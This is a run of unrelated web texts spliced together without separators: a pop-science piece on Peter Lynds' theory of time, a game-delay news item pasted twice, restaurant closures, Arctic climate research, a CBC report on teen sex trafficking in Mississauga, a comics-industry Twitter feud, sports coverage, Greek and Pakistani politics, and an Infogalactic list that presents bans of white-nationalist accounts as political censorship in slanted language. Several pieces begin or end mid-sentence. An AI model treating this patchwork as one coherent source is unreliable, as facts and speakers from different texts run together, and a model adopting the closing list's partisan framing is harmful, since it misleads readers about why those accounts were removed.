The most amazing thing about this whole story is that Lynds is not a trained scientist. But he does have a passionate interest in physics and he is also a huge fan of Einstein's work. Lynds' theory, Time and Classical and Quantum Mechanics: Indeterminacy vs. Continuity, has caused quite a commotion amongst academics, some even saying that his theory is a hoax and that Lynds doesn't actually exist. Skepticism and scorn of Lynds' work has continued but this barrage of criticism doesn't look like it will shut him up anytime soon.
Much of the opposition to Lynds' ideas can be attributed to his questioning of scientific orthodoxy. He doesn't mind suggesting that Einstein, Hawking and other respected figures are just plain wrong. He claims some theories are redundant, such as 'imaginary' time, and others just need modification, such as further developing Einstein's theories so as to iron out some of the contradictions. Most of these would take up too much space in trying to explain; so concentrating on Lynds' main theme will be the goal here.
In the beginning there was darkness� and there was no time. Time becomes immaterial in empty space, and demonstrates clearly that without objects-in-motion - mass and energy - there is nothing to measure the relative passing of time. So how God knew what day it was in the beginning is anyone's guess. But we digress. Time is relative to mass and energy, there is no ideal universal clock. As a concept, time cannot precede mass and energy, simply because the idea of time is reliant on the relative motions of celestial bodies. As Lynds says: "if there is no mass-energy, there is no space-time;" both are fixed and enmeshed. Because of this, time also has no direction or flow, as we conceive it subjectively; "it is the relative order of events that is important." This is what led Lynds to claim that there is "no precise static instant in time underlying a dynamical physical process."
The Greek mathematician Zeno conjured up a famous paradox that involved halving the distance between starting and end-points in time and space. The paradox involves a person trying to move from point A to point B. In order to move from point A, say, your doorway, to point B, say the pub, you must first reach half the distance between A and B, but before that, you must first reach half of that distance. And before that, you must first reach half of that distance and so on ad infinitum. You'll never reach the pub! Zeno's paradox seems to make a mockery out of divvying up time to conveniently suit scientific purposes but we know that this doesn't happen in the real world.
For example, when you are driving in your car, your speed is relative to the road beneath you. There is no point on your journey that could be called one instant in time. It can only be an interval of time. Even if you took a photograph of the car travelling along the road, the photograph would be an interval related to the speed of the camera, perhaps a thirtieth of a second. It doesn't matter how much you reduce the time interval, it will always still be an interval, rather than an instant.
If there are no measured instants then there is no infinity paradox, which demonstrates that there is no actual time measurement. In short, there is only relative motion between objects, and the order in which they occur. To make it even more confusing, Lynds proposes that this theory demonstrates that a body in motion has no distinct position or coordinate.
This basic account of Lynds' theory brings us back to human perceptions of time and why the brain needs to have a concept of time. We are finite beings in an infinite universe (as far as we know) and understanding the universe requires that we are able to measure the events and objects that make up the universe. Being able to control our physical environment by allocating and referring to time in 'instants' is a handy way of dealing with the problem. But it seems increasingly likely that we need to change the way in which we approach, observe and evaluate the universe's dimensions before we have any hope of understanding any of the universe's mysteries. Perhaps Lynds' theory is just what we need to get started.Untitled a guest Oct 3rd, 2014 315 Never a guest315Never
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rawdownloadcloneembedreportprint text 2.02 KB PC RPG Pillars of Eternity Delayed to 2015 Obsidian says it needed more time to incorporate as much feedback as possible and eliminate more bugs. Fallout: New Vegas and South Park: The Stick of Truth developer Obsidian Entertainment's upcoming PC RPG Pillars of Eternity has been delayed. The game was previously pegged to launch before the end of the year, but this is no longer the case, Obsidian announced today. "To incorporate as much feedback as possible, polish every nook and cranny of the game, and make sure we don't ship a buggy game, Obsidian has decided to push the game's release into early next year," the studio wrote in its forums today. "We are going to use the extra time to make Eternity shine for our backers, and a game that we were proud to call our own and would live up to your expectations." In another statement, Obsidian Entertainment CEO Feargus Urquhart said pushing the game to 2015 will allow the developer to make a game that it can be "rightly proud of." "Since the very beginning of this project we promised our fans and ourselves that we would release this game only when we knew it would be absolutely ready for the best experience possible," he said. "We're very close to that point, but not quite there yet. The feedback we have received through our playtest process has been invaluable to us. We are coming into the home stretch but are pushing the release out just a bit to make sure we honor that promise we made originally. Thanks for your patience and support; it will be worth the wait." Earlier this year, Urquhart said in an interview with DigitalSpy that Pillars of Eternity will "100 percent release on PC this year." This is actually the game's second delay, as the game was originally expected to launch in spring 2014, before shifting to a release in the second half of 2014. Pillars of Eternity--which was originally known only as Project Eternity--is a Kickstarter success story, with its campaign raising around $4 million last year. For more on title, be sure to read GameSpot's previous coverage.
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PC RPG Pillars of Eternity Delayed to 2015 Obsidian says it needed more time to incorporate as much feedback as possible and eliminate more bugs. Fallout: New Vegas and South Park: The Stick of Truth developer Obsidian Entertainment's upcoming PC RPG Pillars of Eternity has been delayed. The game was previously pegged to launch before the end of the year, but this is no longer the case, Obsidian announced today. "To incorporate as much feedback as possible, polish every nook and cranny of the game, and make sure we don't ship a buggy game, Obsidian has decided to push the game's release into early next year," the studio wrote in its forums today. "We are going to use the extra time to make Eternity shine for our backers, and a game that we were proud to call our own and would live up to your expectations." In another statement, Obsidian Entertainment CEO Feargus Urquhart said pushing the game to 2015 will allow the developer to make a game that it can be "rightly proud of." "Since the very beginning of this project we promised our fans and ourselves that we would release this game only when we knew it would be absolutely ready for the best experience possible," he said. "We're very close to that point, but not quite there yet. The feedback we have received through our playtest process has been invaluable to us. We are coming into the home stretch but are pushing the release out just a bit to make sure we honor that promise we made originally. Thanks for your patience and support; it will be worth the wait." Earlier this year, Urquhart said in an interview with DigitalSpy that Pillars of Eternity will "100 percent release on PC this year." This is actually the game's second delay, as the game was originally expected to launch in spring 2014, before shifting to a release in the second half of 2014. Pillars of Eternity--which was originally known only as Project Eternity--is a Kickstarter success story, with its campaign raising around $4 million last year. For more on title, be sure to read GameSpot's previous coverage.Six HomeTown Buffet locations in San Diego County closed abruptly on Thursday.
The Santee, El Cajon, Clairemont, Mira Mesa, San Marcos and Oceanside locations were all closed. Employees and patrons showed up to the restaurants, only to see signs posted on the doors saying that location was now closed.
The Chula Vista, National City and south San Diego locations remain open.
HomeTown Buffet restaurants are owned by Ovation Brands.
Ovation Brands issued a statement on Thursday afternoon:
"Ovation Brands was acquired by Food Management Partners in August 2015. Since that time, we have continued to execute former management’s operating plan to stabilize and enhance the performance of the company. However, based on ongoing assessments of individual restaurants, it is necessary to shutter locations for the continued viability of the brands and our employees.
74 underperforming Old Country Buffet, Hometown Buffet, Ryan’s, Fire Mountain and Country Buffet restaurants throughout the United States will permanently close on February 4, 2016.
While we cannot predict future market conditions, the plan is to continue operating the remaining Ovation Brands’ restaurants as they are financially viable.
Although the overall number of employees affected by closures is large, employees of closed restaurants will be given the opportunity to apply for positions at operating stores, and we expect many to take advantage of that opportunity. Additionally, we will be adding staff to the operating restaurants, enabling us to provide the service levels our guests expect and deserve.
We know that these decisions are not easy, however, we strongly believe that this direction is best for the long-term health of all brands.”Stay informed about the latest climate, energy and environmental justice news by email. Sign up for the ICN newsletter.
Melting sea ice and warmer temperatures in the Arctic are to blame for the brutal cold snaps that have plagued parts of Asia and North America in recent years, according to new research by Korean and European scientists released Monday.
The study, published in the peer-reviewed journal Nature Geoscience, adds to the growing evidence linking rising Arctic temperatures to changing weather patterns across the globe. It also helps further debunk one of climate deniers' favorite arguments: cold weather proves the world isn't warming from the buildup of greenhouse gases in the atmosphere.
Deniers reveled in their theory last winter as a record-breaking 110.6 inches of snow fell on Boston and temperatures as low as minus-35 degrees Fahrenheit chilled wide swaths of the Central Plains and Northeast. Republican Oklahoma Senator Jim Inhofe famously brought a snowball onto the Senate floor to "prove" his point and Republican Presidential frontrunner and businessman Donald Trump tweeted in February, "Record low temperatures and massive amounts of snow. Where the hell is GLOBAL WARMING?"
"This research blasts enormous holes in that argument, if the deniers choose to pay attention to these findings," said Jennifer Francis, a climate scientist at Rutgers University in New Jersey who was not involved in the research.
The concept seems contradictory at first, warmer temperatures in one place causing cold winters in another. But the paper finds that a hotter, less icy Arctic—a region that has warmed twice as fast as the rest of the world over the last two decades—creates a bulge of warm air in the lower atmosphere that forces the jet stream to become wavier, dipping farther south in some places and peaking farther north in others as it moves eastward around the globe. As it dips south into latitudes lower than it used to, it carries with it cold Arctic air.
Climate scientist and lead author of the paper Jong-Seong Kug of Pohang University in Korea and his colleagues found that warming north of western Russia creates colder winters in central Asia and warming north of western Alaska creates colder winters in eastern and central North America.
The scientists triple-checked their findings using temperature and weather data from recent decades, jet stream simulation experiments and global climate models. Kug and his colleagues did not respond to requests for comment.
Francis, who has studied the warming Arctic's impact on the jet stream, said the study could help forecasters and disaster preparedness officials understand what kind of weather to expect in different parts of the world.
"The results of this study also tell us that the year-to-year differences in the location of greatest ice loss and warming can help predict—and prepare for—severe winters in heavily populated mid-latitude regions," she said.
However, she also acknowledged that this year's El Nino and extremely warm ocean temperatures in the Pacific Ocean could interfere with the warming Arctic-cold weather link this winter.
"We're in uncharted territory," Francis said. "We don't have a roadmap for the weather patterns that will occur in these conditions, but it's safe to predict that 'unusual' will be a word that gets plenty of use."Most stories about human trafficking that make it into the headlines in Canada involve women from other countries being brought here and forced into sex work, but those who work with trafficking victims in this country say the majority are, in fact, Canadian-born teenage girls.
Vanessa, 18, is one of them. She was a typical high school student in Mississauga, a city just west of Toronto, until two years ago, when she fell in with a new boy who enrolled at her school.
"Right from the beginning, he knew... I was the one that was, I guess, vulnerable," said Vanessa, who is using a pseudonym to protect her identity.
He always kinda told me what to do, and I would do it. - Vanessa, 18, human trafficking victim
"I'm very kind of submissive to people. He always kinda told me what to do, and I would do it."
One day, a car showed up with two men in it whom she didn't know. Her friend asked her to get in, and she did.
"I was still in my school uniform," she said.
As they drove to a motel on a strip of Dundas Street East in Mississauga, one of the men told her she could make a lot of money doing sex work. Vanessa said she was unsure and scared but felt pressured to go along with it because the two men were friends of the boy she knew.
"At that time, I didn't try to understand what was going on," she said. "My friend promised me all these things that I felt that I needed — a stable place, money in my hands. It was kind of part of me wanting to do it and see if I could get something better, and then a bigger part was that I was already there and I can't really say no anymore."
Most trafficking victims are Canadian
Peel Regional Police say 60 per cent of all reported human trafficking cases in Canada occur in the densely populated Greater Toronto Area.
Girls are recruited in various ways — at school, on Instagram, at the mall. Most continue to live at home while carrying out sex work at local motels or condominiums.
According to police, human trafficking doesn't have to involve the crossing of a border. Any forced recruitment, confinement or transportation of a person for the purposes of exploitation falls under the Criminal Code definition of trafficking. Trafficking for sexual exploitation is just one form of the crime. Others include forced labour and domestic servitude.
A Peel Regional Police poster targeting victims of sex trafficking. (Peel Regional Police)
More than 90 per cent of the victims of sex trafficking within Canada come from Canada, according to government statistics,
Vanessa's story is typical, says Jennifer Keeler, a nurse practitioner at Chantel's Place, a sexual assault support centre in Mississauga.
"Human trafficking targets young adolescents trying to fit in," Keeler says. "They are vulnerable to someone giving them attention."
You have these guys making regular girls feel special, buying them things and taking them shopping … [They] know exactly how to build dependence. - Katarina MacLeod, former trafficking victim
Traffickers know exactly what to say to manipulate girls, says Katarina MacLeod, a former prostitute and trafficking victim from the same area as Vanessa.
They're even targeting girls not usually considered high risk.
"You have these guys making regular girls feel special, buying them things and taking them shopping," MacLeod said. "And the girls fall for it hook, line and sinker … [The men] know exactly how to build dependence."
MacLeod said traffickers are targeting young and younger girls these days.
"Girls as young as 13 are getting recruited in," she said.
'He didn't smell nice'
The men who took Vanessa to the motel first took photos of her to use in ads for her services. They gave her a cellphone and told her to use it to negotiate with her first client as they watched. She settled on $40 for five minutes of unspecified sexual activity.
"He was older, probably in his late 40s … He wasn't dressed well. He didn't smell nice or anything," she said.
"I just kinda dealt with him because I thought five minutes wasn't anything. But now, I realized how stupid that was."
One of the men ordered Vanessa to turn over the money she made.
"He was like, 'I paid for the room so you have to give me everything,' so I just gave him all I made," she said.
The strip of Dundas Street East in Mississauga that houses the motels where Vanessa works with her pimp. Many underage trafficked girls work in this area. (Seema Marwaha)
Unlike sex workers who have chosen the trade, trafficking victims rarely get to keep the money they bring in. And they have little say over what sex acts they perform.
Peel Regional Police estimate a trafficked girl working daily can bring in up to $280,000 per year. For pimps who have multiple girls, the earnings are often divided among a team of traffickers, minus expenses for motels and the ads they take out to market the girls.
For months, Vanessa would get picked up from school almost every day and be taken to hotels on the Dundas East strip to have sex with clients arranged by her pimp. She was still living at home.
"My parents still somehow didn't know what I was doing," she said.
Vanessa met a network of pimps, recruiters and other high school girls like her.
"Most people have no idea something like this is happening in Mississauga," she said.
'Complex and hidden crime'
In 2015, Peel police made 39 arrests and laid 244 charges related to sex trafficking. In the first half of 2016, according to their most recent statistics, they made 25 arrests and laid 149 charges. As recently as last week, Toronto police arrestedtwo young men in connection with the trafficking of two teenage girls at Mississauga motels.
And that's just a fraction of the problem, says Ontario's recently appointed anti-trafficking director, Jennifer Richardson.
"The number of how many people are actually being trafficked in Canada I don't think anyone could ever give you because it is such a complex and hidden crime," she said.
Hear Vanessa's story on CBC Radio's The World This Weekend, Sunday at 6 p.m. ET (7 p.m. AT, 7:30 p.m. NT).
Based on data she helped gather in Manitoba, she estimates the number of trafficking victims in Ontario alone to be in the thousands. A former trafficking victim herself, Richardson says victims don't come forward for a variety of reasons, including fear or a dependent relationship with their pimp.
Peel police keep so-called go bags on hand to give to victims of trafficking and assault. They contain toiletries, a change of clothes, public transit fare and gift cards. (Seema Marwaha)
Peel police established a Human Trafficking Service Providers Committee last year and have been working with local organizations toraise awareness and provide support to victims like Vanessa.
"The traffickers control the lives of the victims emotionally, psychologically and financially. Anyone can be a victim," said Const. Joy Brown, who heads up the committee.
A few of the red-flag behaviours to watch out for in young girls, she said include: extended periods when whereabouts are unknown; sudden changes in routine; having more than one cellphone; receiving expensive gifts; extreme tiredness and unexplained absences from school.
One of Vanessa's teachers recognized changes in her behaviour and connected her with a support program, which is how CBC News found her. Now, Vanessa is looking to get out.
"I hate doing what I do," she said. "I've been getting sick, my body is tired, my knees are hurting."
She says she won't come forward or testify against her pimp, who's now letting her keep some of the money she earns.
"I would feel like such a victim if I came out with no money. I want to have money to live comfortably. And then I plan to get out of it."Ales Kot is the writer on Secret Avengers and Bucky Barnes: Winter Soldier for Marvel, and Zero for Image Comics.
Nathan Edmondson and Mitch Gerads are the creative team on The Punisher. Mitch draws The Activity for Image. Nathan writes for Image.
Chris Kyle was a famed US sniper, who fought in the Iraq War, with 160 confirmed kills to his name. Shot and killed at a firing range in 2014, his life was recently turned into the movie, American Sniper based on his 2009 autobiography. Both he and his team used Marvel’s Punisher logo and the comic appears in the movie as well.
Now, we start with MItch.
I had the honor + privilege of designing the official 2015 CHRIS KYLE MEMORIAL BENEFIT patch. http://t.co/OcUNKJ3Qsh pic.twitter.com/j5yGyrmqWP — Mitch Gerads (@MitchGerads) April 17, 2015
Ales tweeted,
The thing I like about comics creators making Chris Kyle memorial patches is that it makes it easier for me to know who I won’t work with — Ales Kot (@ales_kot) April 22, 2015
1) It’s supporting sociopathic legacy (Chris Kyle) 2) It’s associating it with a character who glorifies horrifying PTSD (Punisher) — Ales Kot (@ales_kot) April 22, 2015
I want us all to know better than that — and speaking out is a part of it, instead of just holding it in and avoiding each other in public. — Ales Kot (@ales_kot) April 22, 2015
I have no problem with you as a person, @MitchGerads, but holy shit do I have a problem with your action. — Ales Kot (@ales_kot) April 22, 2015
This isn’t a public shaming, btw — not interested in that at all. What I’m interested in is dialogue and self-reflection, both things… — Ales Kot (@ales_kot) April 22, 2015
…American (and not just) society sometimes seems to be unlearning. I mean real, deep, constructive dialogue. — Ales Kot (@ales_kot) April 22, 2015
Obviously me being pissed off and indirect is not a good start but I am allergic to actions that support legacy of racist killer douchebags — Ales Kot (@ales_kot) April 22, 2015
So I guess what I’m asking is — why support something like this, @MitchGerads? What’s your take on Chris Kyle? — Ales Kot (@ales_kot) April 22, 2015
And please don’t come at me with “Maybe it was just a job,” people — I know America’s still young and dumb but you really don’t want to… — Ales Kot (@ales_kot) April 22, 2015
…ever f—ing use the Eichmann excuse. Banality of evil doesn’t make the acts themselves any less evil. — Ales Kot (@ales_kot) April 22, 2015
That is as close as it gets to citing Hitler in an argument that’s not about Hitler, thereby, tradiationally, closing the argument. But it was not to be. Ryan Bodenheim, artist of The Dying & The Dead, Red Mass for Mars, Secret and Halcyon for Image Comics wanted in.
@ales_kot @MitchGerads here’s a screen cap from the credits of American Sniper. Are you still working with Marvel? pic.twitter.com/UmA9Yi3nUY — Ryan Bodenheim (@RyanBodenheim) April 23, 2015
@RyanBodenheim @MitchGerads: Yup, I am, and yup, I want to ask about it. Also, making choices about creators I will/won’t work with is much — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: easier than making choices about corporations because it’s not easy/sometimes even possible to know who… — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: …greenlit what. Which doesn’t absolve or reduce the problem, it just gets much more complex. — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: But I’m actively choosing to make the situation better, bit by bit, and what happened with the patch feels… — Ales Kot (@ales_kot) April 23, 2015
@ales_kot @MitchGerads you can’t see past your own hate enough to see that the patch will help wounded vets. You won’t attack marvel.. — Ryan Bodenheim (@RyanBodenheim) April 23, 2015
@ales_kot @MitchGerads comic writers should know better than to alienate themselves from artist. It’s a great way to become a — Ryan Bodenheim (@RyanBodenheim) April 23, 2015
@ales_kot @MitchGerads paperback writer who’s unable to obtain cover art — Ryan Bodenheim (@RyanBodenheim) April 23, 2015
@RyanBodenheim @MitchGerads: I suppose you don’t see the double-edged sword of helping people by promoting what it promotes? — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: So if it promoted Charles Manson, you’d be okay with it, too? — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: You’re really trying hard but it’s not landing — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: These are two completely different things and your attempts to conflate them are not connecting. — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: I get that you want to stand up for a friend who is either unable or unwilling to stand up for himself, I’m… — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: …just intelligent enough to get the difference, and I suspect so are you. — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: And yeah, I’m not saying there’s nothing paradoxical about what I do, I’m not trying to hide it! — Ales Kot (@ales_kot) April 23, 2015
@RyanBodenheim @MitchGerads: It’s clear how little you know me if you’re assuming that putting people down gets me harder (except in bed) — Ales Kot (@ales_kot) April 23, 2015
May the bridges I burn light the way. — Ales Kot (@ales_kot) April 23, 2015
The comics bro club is hilarious — yes, please, threaten me with not getting work and collaborators because I dare to speak out — Ales Kot (@ales_kot) April 23, 2015
I hope that you realize every threat, shitty look, every backstabbing attempt — it’s all fuel for me, and I ain’t stopping — Ales Kot (@ales_kot) April 23, 2015
@TresDean333 @RyanBodenheim: Oh, so that’s actually historical realism. Well, that solves me having to ask! — Ales Kot (@ales_kot) April 23, 2015
As to Nathan Edmondson? Ales tweets, without response, regarding a retweet that seems to have been removed
Hey @nathanedmondson, why did you favorite that one tweet? Was that a thinly veiled passive-aggressive thing, or you just happy to see me? — Ales Kot (@ales_kot) April 23, 2015
Following up with,
Hey @nathanedmondson is is true that you’re a raging homophobe or is that just industry lies? Serious question, pls let me know — Ales Kot (@ales_kot) April 23, 2015
Blimey. I hope you know, this means war.
And to others: stoke the fire, don’t stay quiet. About time we made more space for people who won’t be parasites within the community. — Ales Kot (@ales_kot) April 23, 2015
Like, if you have a proof that a creator acts like a total dirtbag, there’s journalists and lawyers who would love to hear about it — Ales Kot (@ales_kot) April 23, 2015
And retweeting,
@ales_kot or even gossip mongers like me. — Rich Johnston (@richjohnston) April 23, 2015
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
(Last Updated )
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None foundRain has been a problem for my fixed line for years.
There have been other exciting ventures in broadband fail over the years, such as when a contractor set fire to a large Telstra pit and cut off 20 homes for three weeks, but rain has been the constant niggle.
It most recently came to a head last weekend – March 1 – when instead of dipping below 1 Mbps, the line died entirely, including dialtone.
After the usual calls to Telstra, I arranged an appointment time for a tech. He arrived at 8:00AM after a promise he'd appear in an 8:00AM to Noon window (well done, Telstra), told me there was an issue in the street that he'd fixed, and asked where the lead-in terminated. |
when they were trying to enter India. On Friday, forces killed two members of a Pakistani border action team known as BAT, also along the LoC.
Police sources said Bhat’s killing could hurt the Hizbul Mujahideen, coming within weeks of another influential commander Zakir Musa severing ties with the outfit.
“They (HM leadership) will have to send someone from Pakistan to take charge of the organisation, which is not possible,” a police official said.
The outfit – designated a terrorist outfit by India, the United States and the European Union – has mostly locally-trained militants who are facing shortage of arms and ammunition. The organisation was involved in several recent incidents of arms snatching.
HM’s top leader Syed Salah-ud-din is based in PoK.
(With agency inputs)
First Published: May 27, 2017 09:11 ISTGreece's election campaign, the second in as many months, officially kicked off on Saturday as polls indicated that fears of expulsion from the eurozone have helped consolidate support for parties backing the tough terms under which Greece received a bailout to keep its debt-stricken economy afloat.
Signs of a nascent backlash against anti-bailout groups that took the country by storm in an inconclusive ballot two weeks ago have emerged with surveys showing that the conservative New Democracy party is beginning to rally voters on concerns that opposition to EU- and IMF-dictated austerity may lead Greece to the eurozone exit door.
Piling on the pressure, the visiting European parliament president, Martin Schulz, said that a €130bn rescue package reached with international creditors in March could not be renegotiated.
"Greece… shouldn't self-destruct," the German politician told the state-run TV channel NET. "Nor can we Europeans write Greece off. Greeks must believe in themselves." He implored the nation at the centre of Europe's escalating debt crisis to stay the course of tough austerity and structural reforms because that was the only assured way of boosting competitiveness.
Increasingly, the 17 June election is being portrayed as a referendum on the crisis-plagued country's desire to remain in the eurozone.
Schulz's appeal follows a series of similar exhortations by senior European officials who have insisted that repudiation of the tough terms that have allowed Athens to receive crucial injections of cash over the past two years would automatically pave the way to it leaving the 17-nation bloc.
Apocalyptic scenes have been invoked as policymakers have speculated over the chaos that would ensue if Greece, bereft of rescue funds, defaulted on its debt and reverted to its old currency, the drachma.
On Friday, the German chancellor, Angela Merkel, also weighed in, allegedly suggesting in a telephone conversation with the Greek president, Karolos Papoulias, that the nation hold a referendum on euro membership as part of the general election. The proposal was denied by her spokeswoman.
Antonis Samaras, whose New Democracy party emerged with the largest share of votes but fell far short of being able to form a government when Greeks went to the polls on 6 May, retaliated last week by reaching out to centrist forces that would fight against the vociferous anti-austerity bloc. He said his party would lead a pro-European "front of resistance against catastrophe".
The strategy appears to be paying off, with two polls showing the conservatives for the first time ahead of the radical left Syriza party. The leftwing alliance, a fierce opponent of the "inhumane" belt-tightening imposed in return for aid, had been the frontrunner since emerging as the surprise runner-up in this month's poll.
In an interview before a visit to Berlin for talks that will include discussions with representatives of the German government, Syriza's firebrand leader, Alexis Tsipras, reiterated his determination to "cancel" the loan accord, even going so far as to liken it to "assisted suicide".
But he also appeared to soften his stance, saying he hoped to initiate a "substantive dialogue" with Germany and France, which have bankrolled most of the €240bn in emergency aid earmarked for Greece.
"If you don't talk you can't find a solution and so far I believe there hasn't been any real discussion or political negotiation," he told the Observer. "The memorandum," he said, referring to the bailout conditions, "was a political decision that was taken without consulting the Greek people and it has proved catastrophic."
Tsipras's meteoric rise from marginal leftist to possible commander of the political scene has been backed by younger Greeks worst hit by the record levels of unemployment. The young politician has promised to reinstate jobs and pensions by nationalising banks, stopping the closure of state utilities and taxing the rich.
But among older Greeks, who still have vivid memories of military rule and the tumultuous politics of isolation, Syriza's anti-austerity platform has unleashed fears that, if he wins, the country will be playing with fire.
Although voters punished mainstream parties on 6 May for enforcing cuts that have seen wages drop by up to 40 % – and austerity rage has far from dissipated – it could just be that the fear factor is starting to take effect with a backlash that few would have imagined a week ago.SAN DIEGO — Many years ago, the Chargers were consistently one of the AFC’s best teams, with three seasons of 11 or more wins in Philip Rivers’s first four years as starting quarterback.
They’ve fallen off that pace in the past four seasons, but Rivers remains a respected quarterback. Since Mike McCoy took over as San Diego head coach in 2013, Rivers’s numbers have taken a step forward. His completion percentage has increased (69.1 percent this season) and his touchdown-to-interception ratio has improved (25 TDs, 10 INTs).
The 32-year-old likely is best known to Patriots fans for two things: screaming about New England players being disrespectful after a 2006 playoff loss, and playing with a torn ACL in the 2007 AFC Championship game in Foxborough.
K.C. Alfred/UT San Diego/Zuma Press Patriots coach Bill Belichick spoke to the media before Wednesday’s workout.
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“Love Rivers,” Patriots coach Bill Belichick said Wednesday when asked about coaching him at the 2009 Pro Bowl. “[He’s] really a football guy; very into it. We had a lot of great conversations about just football and he’s very competitive, really smart, has a great understanding and feel for the game. I really enjoyed coaching him. He was outstanding.”
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Despite having a new offensive coordinator this season (Frank Reich replaced Ken Whisenhunt), Rivers is fundamentally the same player, Belichick said.
Related Links View Gallery Photos: Patriots practice in San Diego
“He can attack the defense at all three levels, has great poise and presence in the pocket. He has deceptive mobility,” Belichick said. “He runs and is more active maybe than what he gets credit for, what you think he is. He’s got a good touch on the ball, does a good job using all his receivers, gets the ball to the backs, obviously the tight ends, the receivers down field on catch-and-run plays and on downfield routes. [He] reads blitz and those type of coverages well, gets the ball out in a hurry. He’s been pretty good for a long time.”
Rivers is the most recent top-level quarterback the Patriots have faced this season. Past opponents included Peyton Manning, Andrew Luck, and last week, Aaron Rodgers.
“Very challenging. One of the best quarterbacks in the league,” Darrelle Revis said. “He’s very smart. If he catches fire he can be very dangerous in the passing game. He has a lot of weapons to throw to, especially Antonio Gates, so we definitely... have another one on our hands.”
Praise for Seau
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He doesn’t have a vote, but Belichick said there is no doubt in his mind that Junior Seau belongs in the Pro Football Hall of Fame.
The late linebacker is up for induction for the first time this year. A San Diego legend, Seau grew up in the city and then was drafted by the Chargers, where he played for 13 seasons, 12 of them as a Pro Bowler and eight times an All-Pro selection.
After being traded to Miami in 2003, Seau spent three seasons with the Dolphins, then announced his retirement. But just days later, Belichick convinced him to play for the Patriots, which he did for parts of four seasons.
“Tremendous. I loved Junior and his family. [I] was out here for the funeral and it was very emotional,” Belichick said. “Nobody loved the game more than Junior did. Nobody would be more deserving to be in the Hall of Fame than Junior Seau.
“All-time leader in tackling, but more than stats, his love of the game, his passion for the game, and the high level that he played at at a very difficult position. I mean, him, Clay Matthews [Jr.], guys to play as long as they did at that position as well as he did is phenomenal. He is so deserving. I hope it happens.”
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Seau is one of 26 semifinalists for induction in 2015. The final class will be selected Jan. 31, the day before the Super Bowl, in Phoenix.
On May 2, 2012, the NFL was rocked when Seau, a player many looked up to and played with or against, killed himself.
Injury updates
The Patriots’ first practice of the week was held in shells and unnumbered jerseys at the University of San Diego’s Torero Stadium. In addition to the quarterbacks, long snapper Danny Aiken (concussion) also wore a red non-contact jersey.
Two players did not practice: wide receiver Aaron Dobson (hamstring) and linebacker Chris White (ankle). Dobson was hurt during Sunday’s game against the Packers, and White was hurt during practice in the days leading up to the game.
Aiken was one of 10 players who were limited. Others were: CB Kyle Arrington (ankle), OL Dan Connolly (ankle), DL Dominique Easley (knee), WR Julian Edelman (thigh), OL Cameron Fleming (ankle), LB Dont’a Hightower (shoulder), DL Chandler Jones (hip), WR Brandon LaFell (shoulder), and RB Shane Vereen (ankle).
QB Tom Brady (ankle) and OL Marcus Cannon (hip) were full participants.
For the Chargers, five players did not practice: NT Ryan Carrethers (elbow), OLB Dwight Freeney (not injury related), DT Corey Liuget (knee), G Ryan Miller (groin), and C Chris Watt (calf). ILB Andrew Gachkar (knee) was limited.
Woodhead tribute
Former Patriots running back Danny Woodhead has spent much of this season, his second with San Diego, on injured reserve because of a broken leg suffered Sept. 21 against Buffalo. But as his current team prepares to face his former team, Woodhead’s friend and fellow back Ryan Mathews made sure Woodhead was represented at practice Wednesday, wearing No. 39 instead of his No. 24.
“Danny has been a great teammate, but more than that, a great friend. It stinks not having him with us on the field, so we’re keeping alive his spirit and everything,” Mathews told local reporters. “It’s Patriots week, so I decided to wear his jersey.”
Mathews added he “got tired” of not seeing Woodhead, in his jersey, on the practice field, so he brought it out for the week’s practices.
Related:
■ Patriots are all business on San Diego trip
■ On Football: Like Patriots, Chargers turned their season around
Shalise Manza Young can be reached at syoung@globe.com. Follow her on Twitter @shalisemyoungImage caption Mr Chaudhry has longed presented himself as a bulwark against corruption
Pakistan's Chief Justice, Iftikhar Chaudhry, is presiding over a three-judge hearing at the Supreme Court to address allegations of corruption against his own son, Arsalan.
The chief justice apparently initiated the case as a response to widespread accusations in the media that his son accepted millions of dollars in bribes.
The money allegedly came from a property tycoon who hoped to influence a Supreme Court ruling.
Arsalan Chaudhry denies any wrongdoing.
The case is expected to resume on Thursday.
Bitter confrontation
The BBC's South Asia analyst Jill McGivering says that the chief justice is an outspoken and high-profile figure who portrays himself as an honest broker in Pakistan, where corruption in public life is seen as endemic.
His battle to prove his independence put him at loggerheads in the past with former President Pervez Musharraf.
Protests by the chief justice's supporters played a significant role in ousting President Musharraf from office.
Mr Chaudhry has played a key role more recently in contempt proceedings against Prime Minister Yousuf Raza Gilani, who was found guilty in April.
In December the chief justice was accused by President Asif Ali Zardari of failing to investigate the murder of his wife, former Pakistan People's Party (PPP) Prime Minister Benazir Bhutto, in December 2007.
Now Mr Chaudhry and the Supreme Court are locked in a bitter confrontation with the current PPP-led government over the Gilani case and other issues.
His determination to bring his son's accusers to court - and his promise to deliver justice if his son is found guilty of corruption - may be seen as an attempt to protect his reputation, our correspondent says.From Infogalactic: the planetary knowledge core
Notice from Twitter, terminating service for RickyVaughn99
This is a list of Twitter users whose accounts have been censored by Twitter. Some have been banned permanently while others have been suspended or "shadowbanned" temporarily. Other Twitter users have been censored in other ways.
These lists are organized in reverse chronological order from the date of the censorship takedown.
(Most recent on top:)
In March 2018, right-wing site Morgoth's Review had its account permanently banned.
On February 20, 2018, white nationalist Jared Taylor and his American Renaissance organization sued Twitter in San Francisco Superior Court for having banned their accounts for political reasons.[1]
On February 13, 2018, Twitter permanently banned US Congressional candidate Paul Nehlen for posting an image where multiracial royal fiancee Meghan Markle's photo was blended with a reconstruction of an ancient Briton, who had been depicted with very dark skin for allegedly left-wing political reasons. The tweet was considered unacceptable, as the image might depict non-Asian minorities in a mocking or negative way, while Nehlen had already been condemned by the Southern Poverty Law Center for encouraging white racial pride.[2]
Godfrey Elfwick was banned on July 19, 2017, for "participating in targeted abuse"[3], with the admonition that "Your account will not be restored. Thanks, Twitter".
